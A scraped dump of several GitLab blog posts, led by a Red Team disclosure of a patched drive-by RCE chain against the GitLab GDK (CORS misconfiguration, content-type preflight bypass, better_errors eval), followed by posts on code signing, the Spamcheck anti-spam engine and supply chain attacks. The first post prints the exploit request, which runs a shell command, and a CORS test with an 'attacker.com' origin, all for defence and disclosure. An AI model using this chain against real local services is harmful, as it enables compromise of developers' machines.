JavaScript:\n\n```\n\u003Cscript>\n\tfetch(\"http://localhost:8000\", {\n    \tmethod: 'post',\n    \tbody: 'you\\'re under attack!',\n\t})\n\u003C/script>\n```\n\nWhen you open the site in your browser, you should see that a POST request has been executed against your simulated server, like the screenshot below.\n\n![file name](https://about.gitlab.com/images/blogimages/drive-by/firefox.png)\nHelp, I’m under attack!\n\nWhen JavaScript attempts to interact with another website, the first thing your browser checks is whether or not the protocol, port, and domain all match between that other site and where the script was originally loaded from. This is called the [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy): it's your browser’s first line of defense when it comes to these types of attacks.\n\nIn our example above, none of these items matched. That makes this a cross-origin request. Luckily, modern browsers have some mechanisms to restrict exactly what these types of requests can do.\n\nOne of these is called a “[CORS preflight request](https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request).” When some JavaScript asks your browser to perform complex actions on a cross-origin request, your browser will first send an HTTP OPTIONS request to the target. The target will respond with various HTTP headers that tell the browser what is allowed. The most common of these is the “[Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)” header.\n\nIf this header is set to `*` or to the website containing the malicious code, then your browser will let the code perform complex HTTP requests and access the responses. This would include shipping results off to a remote server, or performing complex multi-step actions like logging in to a service or gaining access to the session token; basically the code will be interacting with it as if it were a human user.\n\nAnother header you may encounter is [Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#requests_with_credentials). When set to `true`, the origin specified in `Access-Control-Allow-Origin` can perform credentialed requests utilizing the browser’s active sessions. When origin validation is not done properly and the requesting origin is blindly reflected in `Access-Control-Allow-Origin`, drive-by attacks against authenticated services become much more likely to succeed as they do not need to first guess the password and mimic a logon.\n\nFrom my experience, the first example (`Access-Control-Allow-Origin: *`) is enabled quite often in development software and open-source projects. Even production-ready applications may intentionally set this header to `*` when started with certain flags that tell them they are running in development mode.\n\nWhat makes matters worse is that software run in development mode tends to have other relaxed security measures: verbose error logging, default passwords or even debuggers that allow web requests to execute commands on the host operating system. This makes it very easy for malicious JavaScript to turn basic cross-origin requests into full-on drive-by exploits that completely compromise your machine.\n\n**To be very clear, if you are running a web server on your workstation with this header set, you are granting permission to any website you visit to fully interact with your application. If that application has the ability to run commands on your laptop, you could be granting any website you visit permission to run commands on your laptop.**\n\n“*Well, that’s fine*,” you might think. “*I’ll just remove that header and be good to go*”.\n\nUnfortunately, it’s not that simple. The preflight check has a pretty big loophole via something called a “[simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).” Remote JavaScript is allowed to completely bypass the check if it follows some simple rules, like:\n\n- Must be only GET, HEAD, or POST\n- Must be one of three content types (`application/x-www-form-urlencoded`, `multipart/form-data` or `text/plain`)\n- Must use only a specific set of HTTP headers\n- Cannot read the response from the target service\n\nThis is why we had no issues running the “you’re under attack!” example above. It followed the rules and was a simple request.\n\nSo, to reiterate:\n\n* Any website on the internet can use your browser to attack any service you have access to as long as the attack follows certain rules.\n* Services that implement strong protections against Cross-Site Request Forgery (CSRF) can be more resilient to these attacks.\n* Services that specifically reduce these protections (like with the `Access-Control-Allow-Origin` header) are vulnerable to any attack, whether they follow the rules or not.\n\nHow confident are you that every service you run and test locally has implemented strong CSRF protections and has not removed them while in development mode? And even if they have, how confident are you that they cannot still be exploited via the simple requests described above?\n\n## Example: Drive-by RCE in the GitLab GDK\n\nThe GitLab GDK is a tool that helps GitLab contributors install a fully-functioning GitLab instance for development purposes.\n\nIn September of 2020, our Red Team was researching how our developers could be targeted by sophisticated attackers. We were able to chain multiple vulnerabilities in the GDK to conduct the exact type of attack described in this blog, demonstrating how developer workstations could be remotely compromised.\n\n**These vulnerabilities were quickly patched, the community was asked to upgrade, and this specific risk no longer exists. Read on below about the specific issues and their fixes.**\n\nThe attack targeted two components bundled with the GDK:\n\n* [Better Errors](https://github.com/BetterErrors/better_errors): a Rails error debugging tool\n* [webpack-dev-server](https://github.com/webpack/webpack-dev-server): a development web server that provides static file access\n\nWhen visited, the first thing the malicious website would do was to load the better_errors console in an invisible iframe. The result of this was a simple `GET` request from the browser to `http://localhost:3000/__better_errors`. \n\nWhen this URL was loaded, the better_errors application would generate a unique error code (this is important later on) and then send an HTTP redirect code back to the browser inside the iframe. The URL that it redirected to would include the unique error code, like this:\n\n```\nhttp://localhost:3000/__better_errors/[ERROR CODE]/eval\n```\n\nBecause better_errors did not have the dangerous `Access-Control-Allow-Origin: *` header set, the malicious site could not actually view that response. However, the GDK keeps a lot of log files, including a record of every URL that has been accessed. This meant that the unique error code generated by better_errors was now stored in a log file on the workstation’s filesystem.\n\nThe next step targeted the webpack-dev-server. This ran on localhost on port 3808 and was configured with the overly-permissive CORS header `Access-Control-Allow-Origin: *`.  As discussed earlier in the blog, this header tells your browser that any website can interact freely with this service.\n\nwebpack-dev-server was configured to serve the contents of the log directory, so our malicious JavaScript could literally download and parse the current log file to extract the unique error code generated above.\n\nUsing this error code, the script would then create a specially-crafted HTTP POST request to instruct better_errors to evaluate arbitrary Ruby code. And, of course, with Ruby we can encapsulate operating system commands in backticks to execute any command we wanted to on the host. That request looked like this:\n\n```\nPOST http://localhost:3000/__better_errors/[ERROR CODE]/eval\nContent-Type: text/plain\nAccept: text/html\n\n{\"index\":\"0\",\"source\":\"`touch /tmp/itworked`\"}\n```\n\nIt is worth noting that better_errors actually **did not** have an overly-permissive CORS header. So, technically, we should not have been able to send the above command. Because the content being sent was actually JSON, it would not have qualified as a “simple request” and would have had to pass a CORS preflight check, which would have failed.\n\nHowever, the `Content-type` header was not being validated properly. We were able to bypass the preflight check by incorrectly setting the content type to `text/plain` while still providing a JSON payload in the request body.\n\nWhen the malicious website instructed the browser to send that final request, the command would be executed and the host would be compromised.\n\n![file name](https://about.gitlab.com/images/blogimages/drive-by/driveby.png)\nThe original PoC in action.\n\nTo summarize the issues that made this possible:\n\n* Better Errors:\n     * Improper validation of content type header\n     * Lack of robust cross-site request forgery protection (CSRF tokens)  \n* webpack-dev-server:\n     * Was configured to serve the entire GitLab directory (via `contentBase: true`)\n     * Overly-permissive CORS header (`Access-Control-Allow-Origin: *`)\n\nWhile GitLab ended up completely removing Better Errors from the GDK, we did reach out to its author who was incredibly responsive and very quickly [implemented robust protection](https://github.com/BetterErrors/better_errors/pull/474) for the issues we disclosed.\n\nThe GDK still uses webpack-dev-server, but it has been configured to [stop serving the installation directory](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41841) and to [stop sending the overly-permissive CORS header](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46459).\n\nYou can view the source code for the original PoC exploit at [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gdk-driveby-poc-public](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gdk-driveby-poc-public).\n\n## How to protect yourself from drive-by attacks\n\n### Secure your code from cross-origin attacks\n\nIf you are a developer looking to strengthen your own application, here are two great resources to get you started:\n\n* [OWASP Cross-Site Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n* [Portswigger: What is CORS?](https://portswigger.net/web-security/cors)\n\nDo not make the mistake of thinking that your application does not require protection just because it is never exposed to the internet. Any application that listens for requests on a network port can be attacked, even if it only ever runs on localhost for testing purposes.\n\n### Inspect your own network\n\nAs users of software in general, we need to be aware of the increased attack surface that comes with every piece of software we install.\n\n**How many network services do you have running locally on your workstation right now?** Try one of the following commands, you might be surprised by the results:\n\n```\n# Linux systems\nsudo ss -tlpa\n\n# MacOS systems\nsudo lsof -i -P | grep -i \"listen\"\n```\n\nHow about on your home network? Those are also potential targets for a drive-by attack. If your browser can access them, it can be used to attack them. You can get a quick view using [nmap](https://nmap.org/) like this:\n\n```\n# Assuming your LAN is 192.168.1.0/24. Change as needed.\nnmap -sV 192.168.1.0/24\n```\n\nIf you uncover anything that looks like a web service, try to inspect the default HTTP response headers with a command like this:\n\n```\ncurl -vv -H \"Origin: http://attacker.com\" http://[IP ADDRESS]\n```\n\nIf the response headers include something like `Access-Control-Allow-Origin: *` or `Access-Control-Allow-Origin: http://attacker.com`, then you know right away that there is a high chance it is vulnerable to a drive-by attack.\n\nHowever, as demonstrated in our example above, even services with properly configured CORS headers can be targeted by drive-by attacks under the right conditions.\n\n### Reducing potential impact and risk\n\nWhen testing and developing software, we end up executing a lot of code via libraries and dependencies. It’s unlikely that we have the time and resources to personally audit every single line of that code. To make matters worse, we often run local environments with intentionally relaxed security controls because it is just too cumbersome to emulate full production environments on our workstations.\n\nEliminating these risks totally might be unrealistic, but we can at least make an effort to reduce the potential impact should one of these environments be compromised.\n\nIf you were to fall victim to a drive-by attack while running an insecure server on your workstation, you would be in for a very bad day. An attacker with a shell on your system can take over every authenticated web session you have, access all of your local data, and potentially compromise any other remote system you have access to.\n\nThe most obvious way to reduce risk would be to not run potentially risky software directly on your workstation. Some easy ways to do this would be:\n\n* Use temporary virtual machines (in the cloud or with local virtualization software) that are reverted to “known good” snapshots often. Ensure these machines contain no sensitive data.\n* Use container technology (LXD, Docker, etc) for launching temporary test environments. Follow best practices to make container escapes more difficult.\n\nNeither of the above are iron-clad protections. Attackers can still target VMs and containers using your workstation’s browser. Sophisticated attackers may even find their way out of that restricted environment and back onto your workstation. But these methods do add another layer between potentially insecure code and your sensitive data.\n\n### Secure your browser\n\nAdditional layers of security can also be implemented around the browser, by segmenting it or restricting what it can do. Remember, your browser is what a drive-by attack abuses to gain access to local services. Here are some ideas to consider:\n\n* Use the [Tor Browser](https://www.torproject.org/). Besides coming with enhanced security features enabled by default, it literally [cannot access localhost](https://gitlab.torproject.org/legacy/trac/-/issues/10419) or your LAN.\n* In your normal browser, plugins like [uBlock Origin](https://github.com/gorhill/uBlock) can limit the ability of JavaScript to execute (see [blocking modes](https://github.com/gorhill/uBlock/wiki/Blocking-mode)) and block sites from accessing local IP addresses (enable the \"block access to LAN\" [filter-list](https://github.com/gorhill/uBlock/wiki/Dashboard:-Filter-lists)).\n* Some attacks may use a DNS name that resolves to a local IP address, which would bypass the filter list described above. See if your provider supports something called \"DNS rebind protection\" (available in dnsmasq, pihole, and services like NextDNS).\n* You can run a web browser inside a virtual machine with limited access to your workstation and/or your LAN. This can be done manually or via products like [QubesOS](https://www.qubes-os.org/) and/or [Whonix](https://www.whonix.org/). Use this segmented browser when accessing sites that you do not trust completely. Revert the browser VMs back to a known good state often.\n\nSome of the ideas above, such as using the Tor Browser or a virtual machine, may not be particularly convenient for 100% of your tasks. You can use them selectively when accessing sites that you have specific concerns with (like while conducting incident response or security research).\n\n![file name](https://about.gitlab.com/images/blogimages/drive-by/tor-browser.png)\nTor Browser to the rescue!\n\n## Understand and protect your attack surface\n\nIf you are running software on your computer that listens on a local network port, you are running a server. That server can be accessed and attacked by any website you visit. Because software developers frequently test less-secure services on their local machines, they are at an increased risk of compromise by these types of attacks.\n\nUnderstanding this attack surface is important, as it lets you make decisions about what additional layers of security you can use to protect yourself. If you have any tips of your own to share, please do so in the comments below.\n\nThanks for reading!\n\nCover image by [Pixabay](https://www.pexels.com/@pixabay) on [Pexels](https://www.pexels.com/photo/action-asphalt-back-light-cars-434450/)\n",[14],{"slug":3986,"featured":6,"template":677},"why-are-developers-vulnerable-to-driveby-attacks","content:en-us:blog:why-are-developers-vulnerable-to-driveby-attacks.yml","Why Are Developers Vulnerable To Driveby Attacks","en-us/blog/why-are-developers-vulnerable-to-driveby-attacks.yml","en-us/blog/why-are-developers-vulnerable-to-driveby-attacks",{"_path":3992,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3993,"content":3999,"config":4005,"_id":4007,"_type":16,"title":4008,"_source":17,"_file":4009,"_stem":4010,"_extension":20},"/en-us/blog/secure-pipeline-with-single-sign-in",{"title":3994,"description":3995,"ogTitle":3994,"ogDescription":3995,"noIndex":6,"ogImage":3996,"ogUrl":3997,"ogSiteName":767,"ogType":768,"canonicalUrls":3997,"schema":3998},"How to secure your software build pipeline using code signing","The Venafi plugin for GitLab enables single sign-on and digital signatures to better secure your app.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682125/Blog/Hero%20Images/venafi_coverimage.jpg","https://about.gitlab.com/blog/secure-pipeline-with-single-sign-in","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure your software build pipeline using code signing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eddie Glenn\"}],\n        \"datePublished\": \"2021-08-30\",\n      }",{"title":3994,"description":3995,"authors":4000,"heroImage":3996,"date":4002,"body":4003,"category":14,"tags":4004},[4001],"Eddie Glenn","2021-08-30","\n\nIf there is one thing that recent cyberattacks at companies such as SolarWinds, Codecov, and Kaseya have taught us, it's that software build pipelines are being targeted for attacks more than ever before. Hackers are no longer just attacking the bits and bytes of source code that go into our products, but also the development, testing, and build infrastructure tools that are used to build these products.\n\nEven if you believe your company is at low risk of an attack, it's also important to think about your customers. Businesses with high profile customers – like government agencies or large, multinational corporations that use your products – might have attackers target them by hacking your company, or more specifically, the software you provide them.\n\nThe incidents at Solarwinds, Codecov, and Kaseya show that traditional approaches to security are often failing to prevent attacks. Instead of targeting the software that these companies used, attackers targeted software developed by these companies. Hackers may be targeting the source code you write, the open source code your team uses, and the development tools that you rely on. This is why companies like Venafi and GitLab are partnering to make it easier for developers to prevent attacks and make software supply chains more secure.\n\nAt [Venafi](https://www.venafi.com/), we believe that a new approach is necessary to secure the software supply chain, especially in the development stage. We also believe it is imperative that engineers incorporate more security controls in the development, build, test, and delivery pipelines.\n\nNo single security measure can prevent future attacks. Instead, engineers must adopt multiple software development measures, including a change in mindset about the security of the development infrastructure and who has the ultimate responsibility. Any lasting solution requires collaboration between industry leaders in software development, software security, and application provisioning, but successful collaboration must be led from an engineering-first perspective.\n\n![How Venafi secures software build pipelines with code signing](https://about.gitlab.com/images/blogimages/venafi_image.jpg){: .shadow.center}\nSecure modern software build pipelines with code signing.\n{: .note.text-center}\n\nOne effective approach software teams can take is to 'sign early, sign often' on all artifacts used by the software build process. A digital signature is an electronic signature that is used to authenticate the identity of the individual or organization that signed a file (for example a program, a document, etc). The digital signature will also make sure that the original content of the file has not been changed. While most people think of digitally signing (code signing) program executables (because operating systems often require it), digital signatures can be applied to any intermediate artifact like source code, build scripts, recipes, deployment containers, and third-party tools used by the development team.\n\nCode signing uses cryptographic hashing that can validate the authenticity of software and ensure the integrity of code by verifying it has not been tampered with since being published. Code signing plays an important role in verifying the integrity of software used or distributed by organizations and individuals.\n\n## Why sign early & often?\n\nEven if you've checked in a piece of source code to your repository, anyone else could alter that source code later – perhaps even someone pretending to be you. But if the source code was digitally signed, then a malicious actor could not introduce a change without also obtaining the digital code signing key used.\n\nAnother scenario to consider is if a development team member downloads the latest version of a third-party app but doesn't run it through your security team's protocols first. If the app contains malware, then your build system was just infected. By ensuring that only authorized versions of tools, libraries, and source code (which have passed security checks) are digitally signed by your company, sources of malware can be minimized.\n\nNow consider automated build infrastructure, such as GitLab. If your pipeline doesn't require digital signatures of all artifacts used to build your products, then anyone could slip in a malicious change that is incorporated automatically, producing a malware-infected executable that could be delivered to your customers.\n\n### It's convenient for developers\n\nIt's easy enough to say 'sign early & often'. But, why aren't more development teams doing it? It's actually pretty simple to invoke a command line code signing tool such as 'jarsigner' or 'signtool'.\n\n### The devil is in the details\n\nManaging PKI, managing code signing certificates, and configuring encryption keys is complicated. Code signing done incorrectly is simply not effective. Also, most code signing tools require easy access to the encryption private key, ending up on the build server or a developer's laptop. Here, hackers have easy access to misuse them.\n\nThe code signing process must also be convenient for developers. One way to make things easy on developers is to integrate code signing tools with the technology they use every day, like GitLab. We've found that if code signing technology is difficult, inconvenient, or in any way slows down a build pipeline, developers will avoid it.\n\nFinally, if code signing is to be used as a security measure, your company's security teams need visibility into the process and the ability to define security policies.\n\nVenafi and GitLab partnered together to make it easy for developers to sign source code and other artifacts, all from within your GitLab environment.\n\n## About Venafi CodeSign Protect\n\nVenafi CodeSign Protect is a unique solution that focuses on both the needs of software development teams as well as security teams. Venafi is integrated within the GitLab environment so developers can easily sign their source code and other build artifacts without needing to know anything about PKI, code signing certificates, or code signing keys.\n\n### It's time to shift left\n\n'Shift-left' type of attacks are the new generation of cyberattacks. Today, hackers are sophisticated software developers that target build infrastructure. This is why it is essential that engineering teams take action using security measures like code signing.\n\n## What's next?\n\nVenafi and GitLab can help you avoid these costly incidents. Start by reading this brief to learn more about [Securing Code Signing in CI/CD Pipelines](https://www.venafi.com/resource/Codesigning-CI-CD-pipelines). Then visit the Venafi Marketplace to download [Venafi and Gitlab Plugins](https://marketplace.venafi.com/apps/?query=Gitlab), all ready for deployment.\n\n## Watch the demo\n\nMore of a video person? Watch the demo on how to implement code signing using GitLab and Venafi.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/F2IonOX2rOo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[14],{"slug":4006,"featured":6,"template":677},"secure-pipeline-with-single-sign-in","content:en-us:blog:secure-pipeline-with-single-sign-in.yml","Secure Pipeline With Single Sign In","en-us/blog/secure-pipeline-with-single-sign-in.yml","en-us/blog/secure-pipeline-with-single-sign-in",{"_path":4012,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4013,"content":4019,"config":4024,"_id":4026,"_type":16,"title":4027,"_source":17,"_file":4028,"_stem":4029,"_extension":20},"/en-us/blog/introducing-spamcheck-data-driven-anti-abuse",{"title":4014,"description":4015,"ogTitle":4014,"ogDescription":4015,"noIndex":6,"ogImage":4016,"ogUrl":4017,"ogSiteName":767,"ogType":768,"canonicalUrls":4017,"schema":4018},"Introducing Spamcheck: A data-driven, anti-abuse engine","How we built, tested and deployed a new tool on GitLab that fights spam and abuse.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669841/Blog/Hero%20Images/lionello-delpiccolo-unsplash.jpg","https://about.gitlab.com/blog/introducing-spamcheck-data-driven-anti-abuse","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Spamcheck: A data-driven, anti-abuse engine\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jayson Salazar\"},{\"@type\":\"Person\",\"name\":\"Alexander Dietrich\"},{\"@type\":\"Person\",\"name\":\"Alex Groleau\"},{\"@type\":\"Person\",\"name\":\"Ethan Urie\"},{\"@type\":\"Person\",\"name\":\"Juliet Wanjohi\"}],\n        \"datePublished\": \"2021-08-19\",\n      }",{"title":4014,"description":4015,"authors":4020,"heroImage":4016,"date":4021,"body":4022,"category":14,"tags":4023},[3805,3806,3807,3808,3809],"2021-08-19","\n\nSpam and abuse are a very real concern for us at GitLab – and likely every company providing services at scale. That's why our [Trust and Safety team](/handbook/security/security-operations/trustandsafety) works hard every day to detect, mitigate, and lessen the effects of spam. Back in October 2020, the GitLab Security team [detailed some of the ways they combat spam and abuse](/blog/how-we-work-to-detect-and-mitigate-spam/) and referenced new approaches we were developing and testing to help us better detect and prevent spam.\n\n**We're excited to introduce Spamcheck, our new anti-spam engine. Spamcheck has been enabled for all projects on GitLab.com, which runs 14.1, and will be targeting inclusion of Spamcheck in the [14.6 release for our GitLab self-managed customers](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6259).**\n\nThis tool was designed, tested and integrated by our GitLab [Security Automation](/handbook/security/security-engineering/automation/) team (with amazing partnership from our Trust and Safety team and our [Create](/handbook/engineering/development/dev/#create) and [Plan](/handbook/product/categories/#plan-stage) Engineering Development teams here at GitLab) with the purpose of improving GitLab's resilience to spam and abuse – in respect to both user experience and infrastructure robustness. We're continuing to develop and mature Spamcheck, but this two-part blog series will detail the development of this tool thus far (part one) and the [tech stack behind it (part two)](https://about.gitlab.com/blog/deep-dive-tech-stack-behind-spamcheck/).\n\n## Testing, prototyping, and more testing\n\nAt its core, spam prevention is a data-driven and a product-driven process. It is data-driven because information about each artifact, such as issues and users, must be captured, processed, and acted upon to actually prevent spam and abuse. On the other hand, GitLab itself must be iteratively improved on in order to support the consumption of data necessary for abuse prevention, the enactment of moderation tasks, and much more.\n\nWith this process in mind, one of our first steps was to create a spam testbed. The spam testbed was where we instrumented existing product and infrastructure components to passively extract spam from the most affected namespaces into separate GitLab instances – this was our laboratory. This approach allowed us to try different spam-handling methods and analyse the effect on the product's behavior, measuring and identifying the components and improvements we would need further down the road. Our testbed allowed us to understand what parts of the codebase we could reuse, what Spamcheck's future architecture should look like, and what development process would allow us to move fast without too much breakage.\n\nAfter we had a testbed that architecturally resembled what we believed Spamcheck should look like, we started working on a prototype that leveraged a technology stack that would provide the stability, flexibility, and performance we needed – but this was no simple feat. There were many moving parts that hindered a frictionless development experience. Our toolchain was convoluted, due in part to [gRPC](https://en.wikipedia.org/wiki/GRPC), [ProtoBuf](https://en.wikipedia.org/wiki/Protocol_Buffers) definitions, and [GoLang's](https://en.wikipedia.org/wiki/Go_(programming_language)) somewhat immature tooling – but also because of the complexity of our [GitLab development kit](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/README.md). This toolchain complexity required a robust build and set-up process that would work locally for our developers but that could also be reused in our CI/CD pipelines. Our next blog post will dive deeper into our tech stack, so stay tuned!\n\n## Building the tool\n\nWe developed Spamcheck in a loosely coupled manner from the get-go, only relying on data coming from production to learn, prototype, and build out the service. However, as we gained confidence in our approach, we started getting closer to production again, integrating Spamcheck as one would any other service. This process required defining and introducting features carefully, e.g., gRPC-client code, UI components for handling Spamcheck's service URL and API keys, and also the definition of milestones and safeguards we wanted in place before completely integrating with production.\n\nOnce we had those features in place, we deployed Spamcheck to GitLab's staging environment. In staging, we carefully measured how GitLab and all monitored namespaces interacted with Spamcheck, and improved on its progressive roll-out capabilities, such as project and email-address filtering to improve quality assurance and control how many projects and users would be analyzed by the service.\n\n## Deploying to production, iteratively\n\nAfter successfully delivering Spamcheck to staging and processing more data, we started planning Spamcheck's deployment to production. Since Spamcheck was a new service, we wanted to control the volume of incoming requests for predictions to ensure that our service remained performant and didn't slow down issue creation on GitLab.com.\n\nWe started with a small scope of projects that we checked for spam while assessing the accuracy of our predictions and building out a project allowlist/denylist feature. The integration with GitLab involved refactoring our existing spam handling code to take Spamcheck's responses into account. In this case, we used Akismet alongside Spamcheck and applied all the spam verdicts to decide what GitLab should block and what it should allow.\n\nWe started operating in monitoring mode, looking to avoid disruptions and other surprises as we moved to production. This meant verdicts rendered by Spamcheck would still be logged for the purposes of data collection, but ultimately no action would be taken based on this output. This helped us fine-tune our development and delivery as well as our detection and measurement processes. Once we were comfortable with the performance and accuracy, we increased scope and progressively expanded our list of monitored projects to all public projects on GitLab.com.\n\n## Using data to inform and improve\n\nWe aimed for Spamcheck's creation to be a heavily data-informed process and we'd encourage anyone implementing similar features to do the same.\n\nWhat this means is mostly logs, logs, and more logs.\n\nDuring design, prototyping, and now in production, we logged anything we could so we can measure, learn, and iterate. In the beginning, we measured things like:\n\n- The number of issues created\n- Quantity of expected modification events\n- How many spammy issues we were seeing, including their cadence and characterizing their content\n- Assessed the most affected namespaces, and more.\n\nAs we progressed, we also measured the effectiveness of Spamcheck vs. [Akismet](https://akismet.com/) – which is another spam protection service – including their response times, peaks of spam activity, etc. This allowed us to move forward with confidence and helped us build tools like dashboards to enable information sharing with other teams, and helped us double-check assumptions and continually iterate on Spamcheck.\n\nEarly analysis of our metrics indicate we're outperforming Akismet when GitLab.com is being attacked during spam waves. However our false positive rate is slightly higher than Akismet during normal day-to-day operations, which triggers a reCAPTCHA in our frontend. We're now working on reducing our false positive rate by improving our ML models, automating training processes, and setting static rules. We'll provide a more detailed analysis of our performance versus Akismet in the second blog post.\n\n## Cross-organizational collaboration\n\nBuilding, testing, iterating on, and implementing Spamcheck was truly a collaborative effort between our Security Automation team and multiple teams across GitLab. We'd like to thank [Roger Ostrander](/company/team/#rostrander) from our Trust and Safety team, [Chad Wooley](/company/team/#cwoolley-gitlab) from our Create: Editor team, and [Charlie Ablett](/company/team/#cablett) from our Plan: Product Planning team and [Stan Hu](/company/team/#stanhu), Engineering Fellow, for their many contributions to the successful launch of Spamcheck.\n\nIn our next blog, we'll dive deep into the technology stack that supports Spamcheck, how we selected some of the supporting infrastructure and frameworks, provide some deeper analysis into the tool's performance and what lies ahead in development.\n\nCover image by [Lionello DelPiccolo](https://unsplash.com/@liodp?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/collections/978365/automation?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[14],{"slug":4025,"featured":6,"template":677},"introducing-spamcheck-data-driven-anti-abuse","content:en-us:blog:introducing-spamcheck-data-driven-anti-abuse.yml","Introducing Spamcheck Data Driven Anti Abuse","en-us/blog/introducing-spamcheck-data-driven-anti-abuse.yml","en-us/blog/introducing-spamcheck-data-driven-anti-abuse",{"_path":4031,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4032,"content":4038,"config":4044,"_id":4046,"_type":16,"title":4047,"_source":17,"_file":4048,"_stem":4049,"_extension":20},"/en-us/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops",{"title":4033,"description":4034,"ogTitle":4033,"ogDescription":4034,"noIndex":6,"ogImage":4035,"ogUrl":4036,"ogSiteName":767,"ogType":768,"canonicalUrls":4036,"schema":4037},"How DevSecOps can protect businesses from future supply chain attacks","Learn how GitLab's all-in-one DevSecOps solution can help businesses keep their supply chains secure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669522/Blog/Hero%20Images/solarpanels.jpg","https://about.gitlab.com/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How DevSecOps can protect businesses from future supply chain attacks\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pedro Fortuna\"},{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2021-08-18\",\n      }",{"title":4033,"description":4034,"authors":4039,"heroImage":4035,"date":4041,"body":4042,"category":14,"tags":4043},[4040,3337],"Pedro Fortuna","2021-08-18","\n\nOne of the cybersecurity keywords for 2021 will undoubtedly be \"software supply chain attacks\". For decades, we've seen a global move toward connected systems and highly complex supply chains. Today these supply chains are under attack, with malicious actors jeopardizing the sensitive data of millions of users through attacks on the public and private sectors.\n\nAfter public and federal entities were targeted in some high-profile supply chain attacks, the United States government released an [executive order](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) with plans to improve the security posture of the nation when it comes to software supply chains. The UK issued a similar [call for views on cybersecurity in supply chains](https://www.gov.uk/government/publications/call-for-views-on-supply-chain-cyber-security/call-for-views-on-cyber-security-in-supply-chains-and-managed-service-providers) around the same time.\n\nSupply chain security became a global priority after the SolarWinds attack, reminding businesses and institutions of the extensive damages caused by these vulnerabilities.\n\n## A brief summary of the SolarWinds incident\n\nBetween April and June 2020, malicious actors exploited vulnerabilities in the Solarwinds Orion Platform and inserted a backdoor – allowing attackers to deploy multiple payloads like spyware, and leak confidential data from companies that used the platform, including some U.S. federal entities.\n\n[Current estimates are 18,000 organizations](https://www.zdnet.com/article/sec-filings-solarwinds-says-18000-customers-are-impacted-by-recent-hack/) were impacted by the [SolarWinds attack](/blog/devops-platform-supply-chain-attacks/), but there's a lot we still don't know about the magnitude of the attack. One thing we know for certain is the number of successful supply chain attacks is increasing, and businesses need more effective security measures to protect their software supply chain.\n\n[Web-based supply chain attacks](https://jscrambler.com/resources/white-papers/supply-chain-attacks?utm_source=about.gitlab.com&utm_medium=referral&utm_campaign=key-lessons-solarwinds) is a particularly concerning vector of attack. The number of web-based attacks have grown over the past few years and provide attackers with a lower barrier to entry when it comes to getting their hands on valuable user data.\n\n## An emerging attack vector: Web supply chain attacks\n\nToday, the average website runs [35 distinct third-party scripts](https://www.reflectiz.com/blog/looking-at-the-figures-of-third-party-application-security-on-websites-part-1/). Plus, it's estimated that only 3% of the source code of the actual website is written by the team developing the website, while the remaining 97% comes from third-party libraries used during development. Oftentimes, several pieces of third-party code will be coming from companies or individuals with fewer resources dedicated to security, which puts the typical website on precarious footing with an extremely high level of exposure to third-party risk.\n\nThe dependence on third-party code creates a significant opportunity for attackers by allowing them to breach a third-party code supplier and inject a malicious payload into the source code of the third-party script. The compromised source code will then make its way down the web supply chain, reaching hundreds or thousands of different websites.\n\nHere's where things get even more complicated. In the context of the web, every website script has the same privileges, whether it is a first or third party. As such, a compromised third-party script will be able to harvest any user input, add extra code, hijack events, and fully modify the behavior of the web page. As a result, web supply chain attacks are now being used to leak sensitive user data, such as user credentials, credit card numbers, and other types of PII/PHI that are then sold on underground marketplaces.\n\nA prime example of a web supply chain attack occurred in April 2021, when Codecov, a popular code coverage tool, was breached. The attackers modified the source code of the tool and leaked sensitive data, including dev credentials, tokens, and keys. At the time, more than 29,000 companies were potentially exposed to the attack and some companies reported being breached by [Magecart web skimmers](https://www.bleepingcomputer.com/news/security/e-commerce-giant-suffers-major-data-breach-in-codecov-incident/) or [having their source code exposed to attackers](https://www.bleepingcomputer.com/news/security/codecov-hackers-gained-access-to-mondaycom-source-code/) in the weeks that followed.\n\n## Web supply chain security from within DevSecOps\n\n[DevSecOps](/topics/devsecops/) is a key resource in the global push toward more secure supply chains.\n\nThe whole premise of DevSecOps is to ingrain security controls throughout the entire software development lifecycle. Companies must adopt a multi-layered, defense-in-depth posture to reduce the risk of web supply chain attacks, which is ideally integrated into their DevSecOps workflow. Adopting DevSecOps practices will 